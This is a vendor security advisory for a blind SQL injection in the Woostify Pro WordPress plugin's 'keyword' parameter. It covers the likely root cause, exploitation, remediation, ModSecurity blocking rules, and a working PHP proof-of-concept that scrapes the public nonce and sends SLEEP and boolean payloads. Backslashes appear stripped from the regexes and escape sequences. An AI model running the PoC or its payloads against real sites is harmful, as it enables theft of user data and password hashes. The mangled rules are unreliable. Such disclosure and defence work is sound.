Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-126044 (metadata-based):
CVE-2026-126044 is an unauthenticated blind SQL injection vulnerability in Woostify Pro versions up to and including 1.9.5. The flaw resides in the handling of the ‘keyword’ parameter, which the plugin processes without adequate escaping and without a prepared statement. An attacker can inject arbitrary SQL into existing queries and extract sensitive data from the WordPress database. CVSS 3.1 scores this at 7.5 (High) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, indicating a network-reachable, low-complexity, unauthenticated attack that results in high confidentiality impact.
Root Cause: Atomic Edge infers from CWE-89 that the plugin constructs SQL containing the ‘keyword’ parameter by direct string interpolation. The likely pattern is either $wpdb->get_results(“… WHERE field LIKE ‘%” . $_REQUEST[‘keyword’] . “%'”) or a prepared query where the placeholder is misused (for example, using %s without quoting or passing the user value through a filter that does not escape). The description confirms two root causes: insufficient escaping of the user-supplied parameter and lack of sufficient preparation on the existing SQL query. A nonce check exists, but the plugin emits that nonce on every frontend page via wp_localize_script, so it functions as CSRF protection only and provides no authorization barrier. No code diff is available because the vulnerable and patched versions are not downloadable from WordPress.org, so the exact sink (function name, file, hook) is inferred from the CWE and description rather than confirmed from source. The CVSS vector includes PR:N despite the nonce because the nonce is public; the inference is consistent with the description.
Exploitation: An unauthenticated attacker first loads any frontend page and extracts the nonce from the localized JavaScript object, for example by reading the object emitted by wp_localize_script (commonly named something like woostify_pro or woostifyPro). The attacker then sends a request to the plugin’s handler with the ‘keyword’ parameter containing a SQL payload. The endpoint is inferred to be either /wp-admin/admin-ajax.php with an action registered via wp_ajax_nopriv_ or a REST route under /wp-json/. Atomic Edge cannot confirm the exact action name or route from the metadata, so the PoC uses a configurable endpoint and a time-based blind payload such as ‘ UNION SELECT SLEEP(5)– – or a boolean/error-based payload. Because the injection is blind, attackers typically use time delays, conditional errors, or boolean inference to enumerate table names, user hashes, and option values from wp_users, wp_usermeta, and wp_options.
Remediation: The corrective action is to replace string concatenation with $wpdb->prepare() and to cast, sanitize, or whitelist the ‘keyword’ value before it reaches the SQL layer. Where the parameter is expected to be an integer, use absint() or intval(). Where it is a string, use $wpdb->prepare() with %s and esc_sql()/sanitize_text_field() only as defense in depth, never as a substitute for prepare. The nonce check should not be treated as authorization for anonymous users; if the feature is meant to be public, it must still validate and escape. The patched version 1.9.6 likely contains these changes, but the diff is not available for confirmation.
Impact: Successful exploitation lets an unauthenticated attacker read the entire WordPress database, including user password hashes, session tokens, private post content, and stored secrets. High confidentiality impact is confirmed by the CVSS C:H component. Integrity and availability are unrated by the vector but would be at risk if the attacker escalates the blind injection to stacked queries or file writes on misconfigured MySQL. Because the nonce is public, the attack can be automated at scale against any site running Woostify Pro 1.9.5 or lower.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-126044 (metadata-based)
# The CVE metadata names the vulnerable parameter ('keyword') and the vulnerability type (SQLi) but does
# not confirm the AJAX action name or REST route. The nonce is public on every page and therefore is not
# an exploit signature. To avoid blocking legitimate searches that use the same parameter, the rule below
# targets SQL metacharacter and time-delay patterns in the 'keyword' parameter only, on the two endpoints
# most likely to carry the plugin's handler. If the deployment confirms the exact action or route, tighten
# the rule by adding the action/route match to the chain.
SecRule REQUEST_URI "@rx ^/wp-admin/admin-ajax.php$"
"id:20261260,phase:2,deny,status:403,chain,msg:'CVE-2026-126044 Woostify Pro blind SQLi via keyword parameter',severity:'CRITICAL',tag:'CVE-2026-126044',chain"
SecRule ARGS_POST:keyword "@rx (?i)(bunionb|bsleeps*(|bbenchmarks*(|bselectb.*bfromb|bdropb|binformation_schemab|--s|/*)"
"t:none,t:urlDecode,t:lowercase"
SecRule REQUEST_URI "@rx ^/wp-json/woostify"
"id:20261261,phase:2,deny,status:403,chain,msg:'CVE-2026-126044 Woostify Pro blind SQLi via keyword parameter (REST)',severity:'CRITICAL',tag:'CVE-2026-126044',chain"
SecRule ARGS:keyword "@rx (?i)(bunionb|bsleeps*(|bbenchmarks*(|bselectb.*bfromb|bdropb|binformation_schemab|--s|/*)"
"t:none,t:urlDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-126044 - Woostify Pro <= 1.9.5 - Unauthenticated SQL Injection via 'keyword' Parameter
//
// ASSUMPTIONS (inferred from CVE metadata, not confirmed from source):
// 1. The vulnerable handler is an AJAX action reachable via admin-ajax.php with a wp_ajax_nopriv_ hook.
// 2. The nonce is emitted on every frontend page via wp_localize_script. The variable name is inferred,
// so the script scrapes any JS object containing a plausible nonce key.
// 3. The SQL injection is blind. We use a time-based payload (SLEEP) and fall back to a boolean payload.
//
// CONFIG
$target_url = 'http://target.example'; // WordPress site base URL, no trailing slash
$action_name = 'woostify_pro_search'; // INFERRED action name, adjust to target
$keyword_param= 'keyword';
function http_get($url, $cookies = null) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
if ($cookies) { curl_setopt($ch, CURLOPT_COOKIE, $cookies); }
$body = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
return [$body, $info];
}
function http_post($url, $data, $cookies = null) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
if ($cookies) { curl_setopt($ch, CURLOPT_COOKIE, $cookies); }
$body = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
return [$body, $info];
}
// STEP 1: Fetch a frontend page and scrape the nonce emitted via wp_localize_script.
// The exact object name is not in the CVE metadata, so we look for any key that looks like a nonce.
[$html, $info] = http_get($target_url . '/');
if ($html === false) {
fwrite(STDERR, "[-] Could not reach $target_urln");
exit(1);
}
$nonce = null;
if (preg_match_all('/"([a-zA-Z0-9_]*nonce[a-zA-Z0-9_]*)"s*:s*"([a-f0-9]{8,12})"/i', $html, $m)) {
$nonce = $m[2][0];
fwrite(STDERR, "[+] Extracted candidate nonce: $nonce (key: {$m[1][0]})n");
} else {
fwrite(STDERR, "[-] No nonce found in frontend HTML. The site may not render it, or the object name differs.n");
fwrite(STDERR, "[-] Continuing without nonce; the handler may still accept the request.n");
}
// STEP 2: Send the time-based blind injection payload.
// Payload: a MySQL time delay. Injected into the keyword parameter.
$payload = "x' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- - ";
$post = [
'action' => $action_name,
$keyword_param => $payload,
];
if ($nonce) { $post['nonce'] = $nonce; }
fwrite(STDERR, "[*] Sending time-based injection to admin-ajax.php (action=$action_name)n");
$start = microtime(true);
[$resp, $info] = http_post($target_url . '/wp-admin/admin-ajax.php', $post);
$elapsed = microtime(true) - $start;
$http_code = isset($info['http_code']) ? $info['http_code'] : 0;
fwrite(STDERR, "[+] HTTP $http_code, response time: " . round($elapsed, 2) . "sn");
if ($elapsed >= 5.0) {
fwrite(STDERR, "[+] VULNERABLE: response delayed by ~5s, time-based blind SQLi confirmed.n");
} else {
fwrite(STDERR, "[-] No delay observed. The action name, parameter, or nonce may be wrong, or the target is patched.n");
fwrite(STDERR, "[-] Try a boolean payload: x' AND 1=1-- - vs x' AND 1=2-- - and compare response bodies.n");
}
echo "PoC complete. Review stderr for details.n";